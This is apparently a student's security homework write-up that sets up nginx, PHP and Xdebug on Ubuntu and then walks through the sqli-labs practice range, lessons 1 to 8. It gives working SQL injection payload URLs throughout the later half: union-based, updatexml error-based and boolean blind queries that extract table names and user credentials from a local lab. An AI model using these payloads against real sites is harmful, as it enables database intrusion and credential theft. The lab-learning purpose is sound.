当前位置: 首页 > news >正文

网络安全第一次作业(ubuntuan安装nginx以及php部署 and sql注入(less01-08)))

ubuntuan安装nginx以及php部署

1.安装依赖包

root@admin123-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev

2.安装nginx
到https://nginx.org/en/download.html下载nginx
在这里插入图片描述

之后将压缩包通过xtfp传输到ubuntu的/usr/local/nginx目录下
在这里插入图片描述

root-virtual-machine:/usr/local/nginx#  tar -vxf nginx-1.20.2 tar.gz

3.查看编译环境是否有缺失

root-virtual-machine:/usr/local/nginx/nginx-1.20.2# ./configure

4.编译

root-virtual-machine:/usr/local/nginx/nginx-1.20.2# make && make install 

5.启动nginx

root-virtual-machine:/usr/local/nginx/sbin# ./nginx

6.访问nginx
在这里插入图片描述
7.增加php源地址

root-virtual-machine:~# sudo apt-get install software-properties-common
root-virtual-machine:~# sudo add-apt-repository -y ppa:ondrej/php
root-virtual-machine:~# sudo apt-get install php7.3

8.安装php

root-virtual-machine:~# sudo apt-get install php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml php7.3-gd php7.3-mbstring php-memcached php7.3-zip

9.修改监听端口

root-virtual-machine:/etc/php/7.3/fpm/pool.d# vim www.conf 

在这里插入图片描述
10.启动php-fpm,查看9000端口状况

root-virtual-machine:~# sudo service php7.3-fpm start
root-virtual-machine:~# netstat -lnt | grep 9000

在这里插入图片描述
11.测试

root-virtual-machine:/usr/local/nginx/html# vim web.php

在这里插入图片描述在这里插入图片描述

Debug安装调试

1.VScode远程连接
在这里插入图片描述
2.安装PHP Debug
在这里插入图片描述
在这里插入图片描述
点击 Xdebug installation wizard 进入网站
在这里插入图片描述
将web.php的信息复制粘贴
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(1)

root-virtual-machine:~# wget https://xdebug.org/files/xdebug-3.3.2.tgz

(2)

root-virtual-machine:~# apt-get install php7.3-dev autoconf automake

(3)

root-virtual-machine:~# tar -xvzf xdebug-3.3.2.tgz

(4)

root-virtual-machine:~# cd xdebug-3.3.2

(5)

root-virtual-machine:~# phpize

在这里插入图片描述
(6)

root-virtual-machine:~/xdebug-3.3.2# ./configure

(7)

root-virtual-machine:~/xdebug-3.3.2# make

(8)

root-virtual-machine:~/xdebug-3.3.2# cp modules/xdebug.so /usr/lib/php/20230831/

(9)

root-virtual-machine:~/xdebug-3.3.2# vim /etc/php/8.3/fpm/conf.d/99-xdebug.ini

在这里插入图片描述
在这里插入图片描述
(10)

root-virtual-machine:~/xdebug-3.3.2# service php7.3-fpm restart 

sql注入 安装靶场

下载靶场解压到phpstudu_pro/WWW
在这里插入图片描述
在这里插入图片描述
更改数据库配置文件
在这里插入图片描述
登入靶场
在这里插入图片描述
Setup/reset Database for labs
在这里插入图片描述
Less01
在这里插入图片描述

sql注入流程
1.寻找注入点

http://localhost/sqliabs/Less-1/?id=1

在这里插入图片描述
2.判断是数字型还是字符型
在这里插入图片描述
在这里插入图片描述
字符型

3.判断闭合方式

http://localhost/sqliabs/Less-1/?id=1'

在这里插入图片描述
在这里插入图片描述
单引号闭合

4.验证输入的内容数据库是否执行,是否存在sql漏洞
若:

http://localhost/sqliabs/Less-1/?id=1’ and 1=1 --+

有显示
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' and 1=2 --+

无显示
在这里插入图片描述
则存在漏洞

5.判断列数

http://localhost/sqliabs/Less-1/?id=1' order by 10 --+

报错,说明没有10列
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' order by 3 --+

没有报错,说明有3列在这里插入图片描述

6.联合查询,判断回显位

http://localhost/sqliabs/Less-1/?id=-1' union select 1,2,3 --+

在这里插入图片描述
2,3说明联合查询中的第2第3位的数据会显示到Your Login name和Your Password后
在这里插入图片描述

7.查数据库名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,database(),3 --+

在这里插入图片描述
数据库名:security

8.查表名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+

在这里插入图片描述
四张表:emails referers uagents users

9.查列名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+

在这里插入图片描述
三个列名:id username password

10.查具体数据

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(username)from users),(select group_concat(password)from users) --+

在这里插入图片描述
查出账号密码,成功通关。

Less-02~04通过方式与Less-01基本无异,只是闭合方式不同
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less-05
在这里插入图片描述
没有回显位,无法使用联合注入,可以使用报错注入
在这里插入图片描述
查数据库

http://localhost/sqliabs/Less-5/?id=-1' union select updatexml(1,concat('~',(select database()),'~'),1) --+

在这里插入图片描述
数据库名:security

查表名

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'~'),1),3 --+

在这里插入图片描述
四张表:emails referers uagents users

查列名

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),'~'),1),3 --+

在这里插入图片描述
三个列名:id username password

查账号密码

http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(username)from users),'~'),1),3 --+
http://localhost/sqliabs/Less-5/?id=-1' union select 1,updatexml(1,concat('~',(select group_concat(password)from users),'~'),1),3 --+

在这里插入图片描述
在这里插入图片描述

成功通过。

Less-06~07和Less-05通过方式基本无异,只是闭合方式不同

Less-08
在这里插入图片描述错误不显示
但是存在真假值,输入正确显示“You are in……”,输入错误无显示

http://localhost/sqliabs/Less-8/?id=1' and 1=1 --+

在这里插入图片描述

http://localhost/sqliabs/Less-8/?id=1' and 1=2 --+

在这里插入图片描述
使用布尔型盲注:
在这里插入图片描述
使用length()函数盲注数据库名长度

http://localhost/sqliabs/Less-8/?id=1' and length(database())>10 --+

在这里插入图片描述

无回显,错误,数据库名长度小于10

http://localhost/sqliabs/Less-8/?id=1' and length(database())=8 --+

在这里插入图片描述
有回显,正确,多次尝试确定数据库名长度为8

使用substr函数来判断数据库名的每一位分别是什么,通过变化ascii(substr(database(),x,1))中x的值我们可以确定每一位的具体值

http://localhost/sqliabs/Less-8/?id=1' and ascii(substr(database(),1,1))>70 --+

在这里插入图片描述
比较繁琐,不一一展示,最终确定数据库名为:’security‘

使用left函数,left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)通过变换x和y的值我们可以得到所有的表名

http://localhost/sqliabs/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

在这里插入图片描述

同理判断列名:

http://localhost/sqliabs/Less-8/?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8)='username' --+

在这里插入图片描述
同理判断具体用户和密码

http://localhost/sqliabs/Less-8/?id=1' and left((select username from users limit x,1),y)="" --+

过程过于繁琐,不一一展示了

http://www.lryc.cn/news/415881.html

相关文章:

  • 【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】017 - init_sequence_f 各函数源码分析(一)
  • Mojo AI编程语言(十七)跨平台开发:应用广泛适配
  • Python面试题:结合Python技术,如何使用Astropy进行天文数据处理
  • Jpa-多表关联-OneToOne
  • zdpy+vue3+onlyoffice文档系统实战上课笔记 20240805
  • 【Linux 从基础到进阶】Linux 内核参数调优
  • 【Java数据结构】---泛型
  • Java Lambda表达式总结(快速上手图解)
  • 【算法模板】图论:Tarjan算法求割边割点
  • 如何在IDEA上使用JDBC编程【保姆级教程】
  • linux web系统安装常见问题解决,租房系统为案例
  • Linux驱动开发—平台总线模型详解
  • 说一下网络层,传输层,数据链路层做什么的,之间的关系?
  • 解锁AI新纪元:Milvus Cloud与Zilliz Cloud的高可用之道
  • svn安装
  • 【隐私计算篇】混淆电路之深入浅出
  • 基于GRU神经网络的微博分类预测
  • LVS-DR模式集群:案例与概念
  • 拓扑排序:Kahn算法与DFS算法
  • 图像处理 -- Sobel滤波器的实现原理与使用案例
  • 机器学习 第10章-降维与度量学习
  • linux驱动:(7)物理地址到虚拟地址映射
  • 浏览器用户文件夹详解 - Preferences(十)
  • Robot Operating System——电池电量通知
  • 二进制安装docker
  • @SpringBootConfiguration重复加载报错
  • 【SpringBoot】数据验证之分组校验
  • MySQL Galera Cluster 部署与介绍
  • RuoYi-Vue-Plus (XXL-JOB任务调度中心二:配置管理与定时任务编写、执行策略、命令行任务、邮件报警等等
  • 【docker】虚拟化与docker基础